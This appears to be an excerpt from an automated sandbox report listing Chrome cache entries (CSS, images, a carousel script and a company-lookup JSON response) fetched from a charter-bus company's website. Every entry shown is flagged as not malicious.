Category:	downloaded
Size (bytes):	101931
Entropy (8bit):	5.067576836098896
Encrypted:	false
SSDEEP:	1536:bJcpfzLLI7aRBHvQo/oLNfMhlJQe9nnymFCsWZ6vDBKbB36EMlL2IrLglLeYx:bJc1f4ojD0Z620L2N7
MD5:	1D6516FECA6119A7E50EDFA6652E0B32
SHA1:	C200A9BC702F016B408F31C6991DC8F260488B4B
SHA-256:	71E10C686AA3093DD9C4E80652A1712778644240AFF8FDF776310850D8DCDD26
SHA-512:	6EA5FC029B8E48E0C45AB59E73F0DC616C596063DDD50C0EA348B5216669A3DC1A8674AA4D6BD89E52C326D160E5B89721C20001396A989F2E9202924A12A593
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/style.css
Preview:	/@import url('https://fonts.googleapis.com/css?family=Poppins:400,500,600,700,700i,800&display=swap');/..body {. font-family: 'Poppins', sans-serif;. padding-top: 112px;. background-color: #ffffff;.}..a,.a:hover {. color: #2abdcf;.}..img {. max-width: 100%;.}...mt-10 {. margin-top: 12px;.}...my-20 {. margin: 20px auto;.}...w-100 {. width: 100%;.}...w-50 {. width: 50%;.}...btnWrapper {. display: flex;. align-items: center;. padding-top: 20px;.}..h1,.h2,.h3,.h4,.h5 {. font-family: 'Poppins', sans-serif;.}..@font-face {. font-family: 'icomoon';. src: url('../fonts_new_design/icomoon/icomoon.eot');. src: url('../fonts_new_design/icomoon/icomoon.eot') format('embedded-opentype'),. url('../fonts_new_design/icomoon/icomoon.woff2') format('woff2'),. url('../fonts_new_design/icomoon/icomoon.woff') format('woff'), . url('../fonts_new_design/icomoon/icomoon.ttf') format('truetype'),. url('../fonts_new_design/icomoon/icomoon.svg') format('svg');. font-weight: norma

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	702
Entropy (8bit):	4.854582463775946
Encrypted:	false
SSDEEP:	12:trZvnltuw5UbzgZDoRkkxSVJqXEeRsdhkgjGqe7FhlloyfVvXyXLVGlFTFVdWsiT:tVvnjuPfuoRwJq0eRszkaGqe7Fhlloqa
MD5:	30EA882C841D87A947A14CBB44DE35E6
SHA1:	11351C698270301ABD7E78A192583D9C84AD2989
SHA-256:	2DD08769A23D7B8CE2994642563BF7183C955FD7CB1EC6CFB7C2322FD365A1BF
SHA-512:	3F7A40296A74ED48E6BF29D2E6374E85188C78E4C5DE9F19B7A7DDB9BD6C720E8C364BD5C9580525938278E0292160FBFAEA7CADB5FE5ACD048074F3DB90BB35
Malicious:	false
Reputation:	low
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M13.3333 14V12.6667C13.3333 11.9594 13.0523 11.2811 12.5522 10.781C12.0521 10.281 11.3739 10 10.6666 10H5.33329C4.62605 10 3.94777 10.281 3.44767 10.781C2.94758 11.2811 2.66663 11.9594 2.66663 12.6667V14" stroke="#333333" stroke-opacity="0.8" stroke-linecap="round" stroke-linejoin="round"></path> <path d="M8.00004 7.33333C9.4728 7.33333 10.6667 6.13943 10.6667 4.66667C10.6667 3.19391 9.4728 2 8.00004 2C6.52728 2 5.33337 3.19391 5.33337 4.66667C5.33337 6.13943 6.52728 7.33333 8.00004 7.33333Z" stroke="#333333" stroke-opacity="0.8" stroke-linecap="round" stroke-linejoin="round"></path> </svg>

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	dropped
Size (bytes):	232816
Entropy (8bit):	7.960744653063243
Encrypted:	false
SSDEEP:	6144:SDCWbOU72N8o/9QSrLzXIL30hgcXmN/gHDm0/BkTa:yCWqUC+o/9ZrLzYwhgcXmRgjm0T
MD5:	06EBE0971EC990FA07C6DC123943C7D6
SHA1:	74C23FA222C95255C41D1F1E5713701263F1D22F
SHA-256:	2F72ADA8EDD005A0C0E189297E5253E6A9865EDEF83A90B10877F89D5B0A8601
SHA-512:	2BE2C3EAE5B9B0FFA17637401AC5C4B8AFEF35D8B26173CD06022F88FB94FB3C20EB3930AE24D7A431F239607F28D2044EDE04DE65B080BBCC1097BB8CA371E5
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...................... ....&"((&"%$0=3-9.$%5H59?ADED)3KPJBO=CDA...C...........A,%,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............................................................................................O.I&%D.e.H$K$...(.H&Q .....`H...I+._'.n...HP%@..$.(..............................................@............@.".......E... .B.q..DHY&. .I2......$,..J."$..L. ..~S....A.....H....@................................. .@..............).`.......... .(....T.....9:`LHY..d.HY.$.e....d..P$..T..$..I..y..w.h.!@.. .d.. .. .......H......................................@....... .`....d..H......N..$...I..&.!f..B.%.@%D...A"..J.i.~I..{.ABB.$.@.Y..@..H..H$....@.........$.A..H .............I... ........ .H....H.....A....H...P.A....VA0%D...0$,..A0Y..B. ..D...."B.G.......H...2...................... ......................@..............!....!.........P.A.'LH&.!%d,..A2.`H.........$....%D....9......@$..`.... ..$....@......$.............. .......@...... .. .

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	dropped
Size (bytes):	192269
Entropy (8bit):	7.9417938311245475
Encrypted:	false
SSDEEP:	3072:Jg/u4ar3l6eU2DEkJVnVKk2NqOK4xzPF3oHGoHdrbjtiNPWYA1qFsqSWBM/:oar3/AkJVnVKeOdTs9r3YTnU
MD5:	136BE2D217A0050E33CC5670E96AFE46
SHA1:	96B8FAC7A18A52DEC83D34B59C48633D4AA36A54
SHA-256:	DC808103FED19184FB20E4FE4911E6232DEBEAE7856A8FA240531F8E74CD487F
SHA-512:	3A9E8C0D7D7C2416FFCFE5FB214E130AF1CA041B7C6A73E0370DD0801ABF8B2D3EADF7A69E6477092D08B4D4D267796F00E1953A45D95FEDF4AA122F0009677A
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C............................. .....!%0)!#-$..9-13666 (;?:4>0563...C...........3"."33333333333333333333333333333333333333333333333333.............................................................................................O..T....(.-.....b.E!j...V"U..J..)(!T.B.."U.X......XT. .@ ...A!@............)).,.%..@...(%.....%X..)........B.$.......@R......).@....A....V%.,.@%.%....T.....P@...!@.H.R.Z....)....P..)......R......X....%X.D.. .h"U (...$.....- ..........................XT.....!i....i(.H!A......J....-@.%.B...H.......!@!A............(.@.@.`....H...R..U.B.%Ye..)(........B.@........,J@.....$...X..T.a...)...(.$RP.....Ih....IT.P....H..)(.......%X.B........H..@.....(.@.E...)(....,A@....AT...@.......!V .b..@.(!H...( @R .3!P.U$.e ,....".IH....`-....(.B.... ..H.`..(....@....(..................P@R...R.... ...( ... .........@U. ....)............)..i.P....)(......H....U...@....H...P............@.).........R..........B.. .............i.........$P.@P@.....H. ....

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 555 x 458, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	58234
Entropy (8bit):	7.986853667511195
Encrypted:	false
SSDEEP:	1536:HFmvuRj/hgivPy/wFbjg/VnNGf8X74e5r:lYuVh/cSbE/Vx75r
MD5:	6E7E240071033BFA20E62A8D3181B05F
SHA1:	D172C0250D5948EA907B9109CCA3377A8502A700
SHA-256:	EF9449A726F5B958298C27B72E723090E2A1A814AAA1745CF6D6468065E20860
SHA-512:	166A57D8B6296EE0DF3E48D327D5AADC61B7E9D6514719B2AA52982B23F5ADEC8258662EE1A6E870A74F55069ABE39FA2D237DCDD7799AEAA0E6737CAC9BF2A3
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/busarrow.png
Preview:	.PNG........IHDR...+.................PLTEGpL......................................u.............................}..............//4d..............~........................................................................................................v.................}........z............................\\^......ffh...aac !!WWY......ooq......%&&wwzssu...kkm......RRT....................{\|~//0........................)%)*...............NNP..................~~..........FEGu...........A@B...345JJL..................<2,879......<<>.1-@TO...............4&......E93...8LG.............................0B>......J^Y......#75Oy....\|..Rgb......[pl{...ZV.......qn...........k.\|ayt.C>p......,.........'%j...........Z.............S...............-.w.........3...h..K...vy..}.tZ...0On.`KxE;..Y....1tRNS......$+8:RT_bq{.................................N.......IDATx...k#I..-......0f..`0wQ`.Z....R...7.e5czg...gSFj..\..F`.J...b..1..z1...Ss....z..[...w........Y.k..*....j6.../5

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	29893
Entropy (8bit):	7.968971297177098
Encrypted:	false
SSDEEP:	768:KfKz1qrUzlZ+z3fC+h+I2rFonrv1v6JM5BjgCiF:g2Z+LfC+05rF+rdv8M5Bjgf
MD5:	461E559AB431876F9B06E41BB52EBBD9
SHA1:	9C45AC00AC2D48232FD29DF6FF172A0657A88718
SHA-256:	1F1D868227415F56DEBCC8A9E046656D3A69F37893CB933A77CF058E1DD6726A
SHA-512:	D000CB8C52A46A2FF7BA0CB36748A3FE2BE656067CA5F906205DF5BF62403F0483E141FA599ACBB3D896F486EEDE2024BFEACDB026902991C295933F72D82E6A
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/bathroom-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="5968FF542F001B9E7BA573DD5E68BFD4" xmpMM:DocumentID="xmp.did:80EBB9F34DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9F24DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2865623c-2250-4e0e-8924-76914c711d23" stRef:documentID="xmp.did:2865623c-2250-4e0e-8924-76914c711d23"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	11772
Entropy (8bit):	4.298539780827691
Encrypted:	false
SSDEEP:	192:W5ANy3K9VHUQc8eAad2ShJ6Mo/f788aJGnWUA7+eQtXBYsq:v6V5Aw874sq
MD5:	3A3240FFBF29587BFC6977F5CDA7ED0B
SHA1:	3B3A39D0408E677115308F752AEADC0801FAA29F
SHA-256:	5FA32006530717488E47BD28BCF4F833B1F0A2250B2D1ED2CA3E450E06FE7350
SHA-512:	9B5E92F2A4DE4B7B881063143A2B09D04051B7CA586FA3DAC86BC3A2C2543319D02EF91AC6E486F62D7F0A4D5494D0B20E665C6E45D2A6658DF77FF69A804004
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/carousel.js
Preview:	/*.. Created by tingyuan on 15/12/29... */..;..(function ($) {.. if ($ === undefined) {.. return;.. }.... var defaultConfig = {.. num: 3, //............... maxWidth: 250, //........... maxHeight: 150, //......... autoPlay: true, //.......... showTime: 1000, //autoPlay.true.......... animationTime: 300, //.. scale: 0.8,.. distance: 50.. };...... function getzIndexValue(num, direction) {.. var zIndexs = [];.. for (var i = 0; i < num; i++) {.. if (i <= (num - 1) / 2) {.. zIndexs.push(i);.. } else {.. zIndexs.push((num - 1) / 2 - i);.. }.. }.. if (direction === 'left') {.. zIndexs.reverse();.. return zIndexs;.. }.. if (direction === 'right') {.. return zIndexs;.. }.... }....

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	dropped
Size (bytes):	209096
Entropy (8bit):	7.952045003762157
Encrypted:	false
SSDEEP:	3072:nQn7a4VpNzJmetZF765tSIIbeFfm5GkS440qfNAa44ibDqmPzmbAJ0toIB2y9tzi:nQn7L/MWuFmUktEFb2DmmFkn9tm
MD5:	4E42BD7A8A894328FB7558CFA782E964
SHA1:	B393F968ED84D4E14A6B999CCE4D1A21BEE5CCBC
SHA-256:	3CA6B7E28BE0C31FFD0081594DB1C0AAB1A75239E055A08CA01500ACB43F1EA0
SHA-512:	3C86C2F338FA60C0389D878490E310C03622E0AA701E7CD81EC622E69D72CFC06E698020D41566D206A6A45E07BB3D8D2BA400AA4DF51F7F7479359821021014
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================............................................................................................._..j.....PU.%QJ.b.....(,..U!iDPP.%Z.B.-....(,U...U%..@..H.(..V..P.......@.......b.)...d... RJ........ IhI(@@@@@.. H......X....!..$.B).(%....TPPYVYEJ.U..P.X-...QDPPR...(..PP..E...(Z..ATXR)@Z....... ...$.@..!HP@..@.......!d....% ...T.@.......B.. ".X "@..B!b@@.T.B!I.) .D.!bJ......hX..()TQ...-...RP...RU.(....ZPPP.......PP....J........U..%.,......"PB.!b......UH..,D....!V@@.I.D.)!. %$. "...B...$...A...(D.. .....Y.....,....j...RU...-AD...E(....AAB.-..AK.U.J.B...)B.X..%.h......(...Q.U.A...R.@X....%.@@.RY`.$.. H.J.%....................B...$.E. "Ad ".d..AJ.-...QBU...TR..Qb.R..@.((ZPPPUE(((,U.....((..`PPU..YV....H.......Q..!A.H....Q..`... "..P..".J.. ...E..".!b.B.!D..!b..P...B.....I ..!,..(,...H)AAV...P.-.......lU .iAA`U....

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	29630
Entropy (8bit):	7.963648581122583
Encrypted:	false
SSDEEP:	384:dVhRmjgSFeXNzobkKunVKLEpiuIiUEtPtju+ZX/l0U1WWQ6tdXOSDULmvCnL/w:/AgSFeXNEblQdp1IEFjHXtpRQkXHDhC8
MD5:	C47B27A0225609E3FD9D97FF8B1A4082
SHA1:	8E0FAC1D4F1D694045943392E54A0813471DFB85
SHA-256:	E15C7180370A3730CFC8990AE3487720F62322B0531634238190E4A8FDA61242
SHA-512:	C1B88B91314D217CA645E69E1D768991028B7D7CFA39ED7C272248C4DF2698F932FD416E30D6A49F95703D2A2165BE7834F7DF842BF3ECE253C1A97BA0EE770F
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="72676334B1B9AF61328FD62B0D73A6D4" xmpMM:DocumentID="xmp.did:E94CEE084DBF11EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:E94CEE074DBF11EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b024ba5c-a959-4646-a264-aafabfcef2bf" stRef:documentID="xmp.did:b024ba5c-a959-4646-a264-aafabfcef2bf"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	downloaded
Size (bytes):	50155
Entropy (8bit):	7.983213259394451
Encrypted:	false
SSDEEP:	1536:MfTjB6XgxPrwn8jUsX2IixHuJkzWkOrNYyj:0vBTx8vsXSH7ykO6yj
MD5:	01E3A8BD69E8E1CBD6CAD9DA4930109A
SHA1:	E915CF9698CD80186A8679950049A7B9C3AD5963
SHA-256:	103ED1A6A019E41CD88BCCDDCEDE74272C4B5B3EBDAEBAAB77C6659E0C4B2134
SHA-512:	8F01DEBB1CDF1DC7D05F9298D4303D24E87C4B656B2AA72F9ED220D3094CEE4B49A58EC2C0BCE9C127EFF040E25D368A893D8EA35300175F94CDD9ED446D3FF5
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/banner_slideshow/charter-bus-restroom.jpg
Preview:	......JFIF.....................................................................".."+)+88K.......................................................".."+)+88K......................6....................................................................8.N.CS.....:../)....VZ+.5wa]..GC&.>.+.C.I.....I.g....`t.3....z..J.B6.` .!^j0..#...Z...O.tgs...y......s...M.e .DiD....Q.aLU(...a.p<...lW.<:......:D{....:.q.Z\'+..j.h....#...u..H.!.N.j.ykw.+wE..Un\.Z.{.:.3nC.....!.. n......4?6.{....U...zt...ak........y.LN:......#N)p..!.@..5..:..\..tI..s.2.....Y.....c.A1...hP#`..H.!..ddp..[..Ko@zYN.h.....[.;.X...eq\|.;.-..Y.#L....d.@.8..z$.....,.TL;..(.W..$.!.8:.n...hA....@2.Y9O...g.F..X.,....-.V.A.aP..1.x.G6.`.. ..8...#.tY....4Wi..R.:'.~t.Z.z......)R I...8 @.`f..Q.0.dbpW.N...S..4..j-.n.l+H..F.[.....!.0.CS...v.5?lO..N."n!.)3+A;qv....4@.@...:n"C.....@."..B.C...<:z..v.'1S.0.k.u..kj....8R...U.....gT9...d*#.B...X.H.s.ZU..ya_.LpI.......2...M...(@...31X<7...9.9F....-.uM}R....-

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	27434
Entropy (8bit):	7.959736324626507
Encrypted:	false
SSDEEP:	768:+dS1F2nAjZt38X1PpHIR1CGxhF1gesnPdj:+dSU1xHAC+O7nPdj
MD5:	72101A88EAD6B575FE3D1B5BE50FF99A
SHA1:	16EC5FCFFE1759D1A9F4A1978C7B6E75718D3B3B
SHA-256:	B00BBC512E09013D4F8C7977EBA40C389A99262997E2DCC6E4906344AAF56F85
SHA-512:	22B41F1C22BB0B2B4E4BAF653AB013E7F8FABFE921E9A0E5325D69F88FAED6D6A2CCAA756F40040530B7FD28CF5AD7E4100CB01C97B06CF344578CEF19EE49E8
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="C0B5A40C1BB6FB01F4E560C2863A1E4F" xmpMM:DocumentID="xmp.did:F7CB9F684DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:F7CB9F674DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ad29144f-4db4-4621-877c-1d5868fe48f6" stRef:documentID="xmp.did:ad29144f-4db4-4621-877c-1d5868fe48f6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	702
Entropy (8bit):	4.854582463775946
Encrypted:	false
SSDEEP:	12:trZvnltuw5UbzgZDoRkkxSVJqXEeRsdhkgjGqe7FhlloyfVvXyXLVGlFTFVdWsiT:tVvnjuPfuoRwJq0eRszkaGqe7Fhlloqa
MD5:	30EA882C841D87A947A14CBB44DE35E6
SHA1:	11351C698270301ABD7E78A192583D9C84AD2989
SHA-256:	2DD08769A23D7B8CE2994642563BF7183C955FD7CB1EC6CFB7C2322FD365A1BF
SHA-512:	3F7A40296A74ED48E6BF29D2E6374E85188C78E4C5DE9F19B7A7DDB9BD6C720E8C364BD5C9580525938278E0292160FBFAEA7CADB5FE5ACD048074F3DB90BB35
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/person.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M13.3333 14V12.6667C13.3333 11.9594 13.0523 11.2811 12.5522 10.781C12.0521 10.281 11.3739 10 10.6666 10H5.33329C4.62605 10 3.94777 10.281 3.44767 10.781C2.94758 11.2811 2.66663 11.9594 2.66663 12.6667V14" stroke="#333333" stroke-opacity="0.8" stroke-linecap="round" stroke-linejoin="round"></path> <path d="M8.00004 7.33333C9.4728 7.33333 10.6667 6.13943 10.6667 4.66667C10.6667 3.19391 9.4728 2 8.00004 2C6.52728 2 5.33337 3.19391 5.33337 4.66667C5.33337 6.13943 6.52728 7.33333 8.00004 7.33333Z" stroke="#333333" stroke-opacity="0.8" stroke-linecap="round" stroke-linejoin="round"></path> </svg>

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 100 x 100
Category:	dropped
Size (bytes):	8238
Entropy (8bit):	7.7588010186177145
Encrypted:	false
SSDEEP:	192:Nj321SSlaIMLzaO1YjPc6lC2hxw+I37OitgG0kVxpIWBSy:hi3MLzaOuQ6lnw+I37Oiw0EIS
MD5:	AE06B0018E895CFDFEC66183874D0282
SHA1:	584FA5E2263271181FA34C42ACAED73A3D98827B
SHA-256:	AC87229A9D77ED14F5E6AF8315AB265B7F3A1A5BC2262E7D291FCD18004B89E4
SHA-512:	9E05427F4A91333B6F534DB4AF1FC7EB0A2A0AA1DF743479C463C8C140F25962EA2D50A30E650218D306EDFED14CAC3117EC9A5DF85B17902A60117FBF7A1AEE
Malicious:	false
Reputation:	low
Preview:	GIF89ad.d.............hhh666<<<\\\......,,,TTTLLL~~~...$$$...vvvDDD..........................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,....d.d.... .di.h..l.p,.tm.x..\|.2...G,.....A.....r..Zi..tx.....K^..q..)$"......{..^_h...w<.{.v+..S.N.....'..{....A0..A..$..zUF...\.$....E.....%...F..."..}...................+....E.......9......B7.........3.......5..!..-S=.....&.U.....G.....3j.... C..I...(%..0P..._)M 9@....!<\1.&..jP(9..DQ.SJ...t.).,......5..p.....C.z..u..- P.....>mn=..l.L...5.W.'..x..V.A...K.1`.a...:....Xo...wq..6......QY.......c.M....s.AM......-..o.....s..o....X.......?k0.:k...w& ......^M...3.!3.q...........n........$.$p.v............,8L............>1..$6....V....@.a..4......@.&.@.D..B..#p...0..@......\8...0I@.1!!e.I.. ...&U./.'.d.i..!..!.......,....d.d.... .di.h..l.p,.tm.x..\|.2...G,....D.........X.CY]".....B.....<.}H..%`/.+...8,.+.....`+.l.y......(.....,..U.x*.....$I....H..-.....%....E...$....D...."...=......WEu......

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 277 x 155, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	51929
Entropy (8bit):	7.979722992460842
Encrypted:	false
SSDEEP:	1536:uFwAmJW+Gfjj3T8xwhbp2BazUoEUa6tHQ9BbXHZbFC:uFwAmLGfYe9OiEUtHgBrZ4
MD5:	BE8400B7F8145A8B372437627C6A0A29
SHA1:	F7E22B887D61B23A5F73E433F21257547D26F0C7
SHA-256:	442D4D1F2905C460A08053DB6FC53A043D7B0AA847914D126CEC45045892DF1D
SHA-512:	09C7507CCBE667BA24BC853D601D7EA6269F7CB8E2BC9C6B3F1CE65AFE284C124D812C3E0D1F034DAB759B0FA7E28E07B22534FA774ADA8126EF5A800228E486
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/18_passenger_minibus.png
Preview:	.PNG........IHDR.............L#.....IDATx..w..gy..;...}..V.l...).......PC..p...pC..%.K.)T.!.@ T..w..m.....:.......K...D.?.:;g.;3..{...4.....rR~R".......%'A........rRN.I...IP9)'..D.$....rR~.r.TN.I9)?Q9.'........rRN.OTN..I9)'.''A........rRN.I...IP9)'..D.$....rR~..../...SJ....v.z.A6.!..........Q.T.tI6.F...z. ...j.p].l&C....F.qq=..B....j..!..M.B4)........BE.....2....!...}..6.\|..0h4[.a@.L.@.....h40...ma....3=}..(..4.M...t:.Z-L.bhp..0.5.\|>.c.. .\.z.&..9.T..wo..{....Jl..q]..'.B.....r.......B..i.-.(......Q.V.L.,...N..S.W..sx.G..&.Ja..^.`[.......b.&.ma...F..qH.R.(..4.....1.a.&4l.".\|,+E.VG).a..z.jw..!H.l.]....T...(.oc.c..b.J....x...D6...-.......u...A.Rm4.Sh....dl.r.I6ec...z...B.......fh.Z..a.:..b[).$.L..{....Z..z.jV.\.....V.bpp.}..q..1.<.L.........e.8......C.A@......).5. T...&.......a..v.,.P.@!.HM...TH.R.x.'.TN..E....M..PJ.j...X..k..l6..V.).."T...a.......C.R.!.B.P)."TJ.. ..A.4.).\|..P....A....{.N......,.a..~.0..v5.....fs.&.zM.........g.m....

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1148
Entropy (8bit):	4.9738147861572415
Encrypted:	false
SSDEEP:	24:YdZEIOONH2omH/zZiAC/RNPrJm1DFAlA/L0tnc1X+cGT:YdiITzmH/pCpp9m1nT1X+5T
MD5:	803421A372CE0F63C0B9C7512763A28A
SHA1:	6F29863AE78E4F530933AACEE3E263E40BB5C0F9
SHA-256:	C80D5BC4D2142A71D5BA4B2325BBB2E5EB542AC2F1760C1082479BEB7424BF28
SHA-512:	FA4C5C5896AE0712852306FA52A93C1711ED2C79887C24FAE3E31EE1A324BD3AA98898B869C62D7FEEB0FA31351711DBE372768D65E7672FD28D47198F0FE25A
Malicious:	false
Reputation:	low
URL:	https://epsilon.6sense.com/v3/company/details
Preview:	{"company":{"domain":"101buildingsupply.com","name":"101 Building Supply","region":"Northern America","country":"United States","state":"California","city":"Sacramento","industry":"Retail and Distribution","companyId":"0548e22562fea7c","country_iso_code":"US","address":"6801 FOLSOM BLVD","zip":"95819","phone":"+1 916-739-8588","employee_range":"20 - 49","revenue_range":"$10M - $25M","employee_count":"21","annual_revenue":"10000000","is_blacklisted":false,"state_code":"CA","is_6qa":false,"geoIP_country":"United States","geoIP_state":"Nevada","geoIP_city":"Las Vegas","company_match":"Match","additional_comment":"Company name or domain match was found","industry_v2":[{"industry":"Consumer Goods and Services","subindustry":"Retailing"},{"industry":"Construction & Engineering","subindustry":"Buildings"},{"industry":"Construction & Engineering","subindustry":"Contractors"}],"sic":"1521","sic_description":"General Contractors-Single-Family Houses","naics":"459","naics_description":"Sporting G

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4890)
Category:	downloaded
Size (bytes):	5022
Entropy (8bit):	5.236614698535425
Encrypted:	false
SSDEEP:	96:7JDcAeLclix/2TDevsJOV+x2VMOtZBqDZpqg8WcIfDIqLbY:FiwevQx2xtPqDz8WPRbY
MD5:	6811629F4596101789FA7FE6C624BCAF
SHA1:	3BDF3641F6A2A849310B7997B8F789C8FF230386
SHA-256:	B121781BA19D9CC445E5929938B60670FBD4D014EF98F305690EB4DB9641F8D9
SHA-512:	B3B2A35CCA116D6FAF53E202FB668B2F44FFBED3ECB8234C471273DB2279576FCC7F842275BF79891BF433AFEB3D10962FC4B00DD8A67947D02DE54D1463EB07
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/jquery.lazy.min.js
